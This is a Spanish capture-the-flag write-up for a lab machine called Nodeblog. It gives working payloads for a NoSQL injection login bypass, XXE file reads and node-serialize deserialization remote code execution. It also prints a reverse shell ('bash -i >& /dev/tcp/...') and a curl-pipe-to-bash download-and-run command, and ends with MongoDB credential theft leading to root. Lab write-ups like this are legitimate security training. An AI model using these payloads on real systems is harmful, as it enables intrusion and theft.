Nodeblog
Skills
- NoSQL Injection (Authentication Bypass)
- XXE File Read
- NodeJS Deserialization Attack (IIFE Abusing)
- Mongo Database Enumeration
Certificaciones
- eJPT
- eWPT
Descripción
Nodeblog
es una máquina easy linux
, nos encontramos ante una web vulnerable
a NoSQL Injection
mediante la cual accedemos al panel administrativo
, posteriormente aprovechamos un XXE
para leer
el archivo server.js
sobre que está montado
el servidor web
. Usando la información
obtenida del archivo server.js
explotamos un Deserialization Attack
mediante el cual ganamos acceso
a la máquina víctima
. Una vez dentro de la máquina víctima nos conectamos
a mongodb
y obtenemos
unas credenciales
que nos permiten escalar privilegios
en root
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
# ping 10.129.96.160
PING 10.129.96.160 (10.129.96.160) 56(84) bytes of data.
64 bytes from 10.129.96.160: icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from 10.129.96.160: icmp_seq=2 ttl=63 time=58.3 ms
64 bytes from 10.129.96.160: icmp_seq=3 ttl=63 time=60.3 ms
^C
--- 10.129.96.160 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 58.256/59.879/61.041/1.182 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.96.160 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:17 CEST
Initiating SYN Stealth Scan at 20:17
Scanning 10.129.96.160 [65535 ports]
Discovered open port 22/tcp on 10.129.96.160
Discovered open port 5000/tcp on 10.129.96.160
Completed SYN Stealth Scan at 20:18, 15.34s elapsed (65535 total ports)
Nmap scan report for 10.129.96.160
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds
Raw packets sent: 75321 (3.314MB) | Rcvd: 75329 (3.013MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p 22,5000 10.129.96.160 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:18 CEST
Nmap scan report for 10.129.96.160
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds
Web Enumeration
Si accedemos a http://10.129.96.160:5000/
Si pulsamos en Login
nos redirigirá
a este panel
Web Exploitation
Debemos capturar
la petición
de login
con Burpsuite
y efectuar un Authentication Bypass
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass, para ello debemos cambiar el Content-Type: application/json
e inyectar
el payload
1
{"user": {"$ne": null}, "password": {"$ne": null}}
Una vez logueados
vemos esto
Si pulsamos en Upload
y subimos un archivo .txt nos veremos el mensaje Invalid XML Example: Example DescriptionExample Markdown
. Si pulsamos CTRL + U para ver el código fuente de la página veremos esto Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>
, un archivo xml con esta estructura sería este
1
2
3
4
5
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>Example Markdown</markdown>
</post>
Al subir
el archivo
se nos rellenan automáticamente los campos
de texto
, lo que quiere decir que está interpretando
el xml
Diseñamos
este payload
para leer
el /etc/passwd
de la máquina víctima
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
Subimos
el archivo
y vemos que nos lo interpreta
Debido a que el servidor
usa nodejs
, provoco
un error
para ver rutas
interesantes y descubro que el servidor
de aloja
en la ruta /opt/blog
Diseñamos
un nuevo payload
para ver el código
de server.js
que es donde se aloja el servidor web
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///opt/blog/server.js'>]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
El archivo server.js
existe debido a que es el nombre
por defecto
que suele tener el archivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
Vemos que se está empleando node-serealize
, a la hora de procesar
la cookie
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Node.md, debemos añadir ()
para que se acontezca un JavaScript immediately invoked function expressions (IIFEs)
. Este es el payload
que usaremos para validar
el Deserialization Attack
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.16.23', function(error,stdout, stderr) { console.log(stdout) });}()"}
Lo siguiente que debemos hacer es urlencodear
este payload
, en mi caso voy a usar el decoder
de Burpsuite
1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%36%2e%32%33%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d
Nos ponemos en escucha
de trazas icmp
1
# sudo tcpdump -i tun0 icmp
Reemplazamos
la cookie
de sesión
por la nuestro payload
y recargamos
la página
Recibimos
las trazas icmp
1
2
3
4
5
# sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:46:06.432195 IP 10.129.178.26 > 10.10.16.23: ICMP echo request, id 1, seq 1, length 64
00:46:06.432236 IP 10.10.16.23 > 10.129.178.26: ICMP echo reply, id 1, seq 1, length 64
Intrusión
Nos creamos
una archivo shell
1
bash -i >& /dev/tcp/10.10.16.23/9001 0>&1
Nos creamos
un servidor
http con python
en el mismo directorio
que el archivo shell
1
# python -m http.server 80
Nos ponemos en escucha
por el puerto 9001
1
# nc -nlvp 9001
Creamos
el nuevo payload
y lo urlencodeamos
usando Burpsuite
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.16.23/shell|bash', function(error,stdout, stderr) { console.log(stdout) });}()"}
1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%33%2f%73%68%65%6c%6c%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d
Insertamos
el payload
en el campo
de la cookie
Recibimos
la shell
1
2
3
4
5
6
7
8
9
10
11
12
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.178.26] 57026
bash: cannot set terminal process group (859): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ whoami
whoami
admin
Vamos a realizar
el tratamiento
a la TTY
, para ello obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
No nos deja entrar al directorio /home
por falta
de permisos
, sin embargo como es nuestro directorio podemos darle
los permisos
que queramos
1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drw-r--r-- 1 admin admin 220 Jan 3 2022 admin
admin@nodeblog:/home$ chmod 755 admin
chmod 755 admin
Entramos
al directorio
1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drwxr-xr-x 1 admin admin 220 Jan 3 2022 admin
admin@nodeblog:/home$ cd admin
cd admin
Listamos
el contenido
del directorio /home
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
admin@nodeblog:~$ ls -la
total 40
drwxr-xr-x 1 admin admin 270 Aug 20 03:18 .
drwxr-xr-x 1 root root 10 Dec 27 2021 ..
-rw-r--r-- 1 admin admin 1024 Aug 20 03:18 ..bash_historhy.swp
-rw------- 1 admin admin 1863 Dec 31 2021 .bash_history
-rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc
drwx------ 1 admin admin 40 Jul 2 2021 .cache
-rw------- 1 admin admin 148 Aug 20 03:23 .dbshell
drwxr-xr-x 1 admin admin 10 Aug 20 03:18 .local
-rw------- 1 admin admin 0 Dec 13 2021 .mongorc.js
drwxrwxr-x 1 admin admin 172 Aug 20 03:15 .pm2
-rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile
-rw-r--r-- 1 admin admin 0 Jul 2 2021 .sudo_as_admin_successful
-rw------- 1 admin admin 10950 Jan 3 2022 .viminfo
-rw-r--r-- 1 root root 33 Aug 20 02:53 user.txt
En el historial
he encontrado esto
1
2
admin@nodeblog:~$ cat .bash_history
mongo --host mongodb://localhost:27017
Nos conectamos
a mongodb
y obtenemos
la contraseña
del usuario admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
admin@nodeblog:~$ mongo --host mongodb://localhost:27017
MongoDB shell version v3.6.8
connecting to: mongodb://localhost:27017
Implicit session: session { "id" : UUID("aabbc600-e3fe-4d8d-8eaa-657eb8f3bd81") }
MongoDB server version: 3.6.8
Server has startup warnings:
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten]
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten]
> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
> use blog
switched to db blog
> show collections
articles
users
> db.users.find().pretty()
{
"_id" : ObjectId("61b7380ae5814df6030d2373"),
"createdAt" : ISODate("2021-12-13T12:09:46.009Z"),
"username" : "admin",
"password" : "IppsecSaysPleaseSubscribe",
"__v" : 0
}
Nos convertimos
en usuario root
1
2
3
4
admin@nodeblog:~$ sudo su
[sudo] password for admin:
root@nodeblog:/home/admin# whoami
root